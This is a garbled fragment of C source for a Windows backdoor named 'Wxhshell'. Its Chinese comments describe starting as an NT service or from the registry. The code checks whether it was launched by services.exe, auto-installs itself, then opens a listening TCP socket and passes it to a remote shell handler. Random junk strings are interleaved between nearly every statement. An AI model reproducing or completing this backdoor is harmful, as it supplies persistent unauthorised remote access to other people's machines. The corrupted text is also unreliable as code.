SB s01W_P .@R hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >S]_{pb if(!hProcess) return 0; U`25bb1Wj H6fR6Kr4j if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XMJ EIG (j*1sk CloseHandle(hProcess); .PAR J|Af`HJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =A yDVWpE if(hProcess==NULL) return 0; 335\0~;3 aM2[<m} HMODULE hMod; *Y!c6eA char procName[255]; c+_F}2)
unsigned long cbNeeded; N7}Y\1-8 3jaY\(`%h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WZ#|?pJ jjbw+ CloseHandle(hProcess); d|~A>YZ k~P{Rm;F if(strstr(procName,"services")) return 1; // 以服务启动 hp:8e@ W5#5RK"uX return 0; // 注册表启动 ptcG: } F|ib=_)3 ww0m1FzX // 主模块 ^Ko{#qbl/ int StartWxhshell(LPSTR lpCmdLine) 3aK/5)4|B { BAUo`el5 SOCKET wsl; !uno!wUIYd BOOL val=TRUE; `;'fCO! int port=0; [>pqf struct sockaddr_in door; y%9Q]7&= qrq9NPf if(wscfg.ws_autoins) Install(); P2Or|_z KR4vcI[4 port=atoi(lpCmdLine); G\HU%J x>E**a?!L if(port<=0) port=wscfg.ws_port; X*cf|g @C}Hx;f6 WSADATA data; rwRb
_eIj if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5[1#d\QR 0xNlO9b/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; y
8./)W&/ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TNvE26.( door.sin_family = AF_INET; Q302!N door.sin_addr.s_addr = inet_addr("127.0.0.1"); I{V1Le4? door.sin_port = htons(port); %s#`i$|z*n ;~Em,M"o if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8G SO] R closesocket(wsl); 9gz"r return 1; qtv>`:neB } FyZ iiH4| zF
F=v7[j if(listen(wsl,2) == INVALID_SOCKET) { [xVE0l*\ closesocket(wsl); ;7F|g return 1; H$
sNp\[{ } wq( m%F Wxhshell(wsl); e$wbYByW WSACleanup(); X>
*o\ F!|?S:X return 0; kP6P/F|RcZ kZlRS^6 } >v+ia%o kS>'6xXH // 以NT服务方式启动 B1& |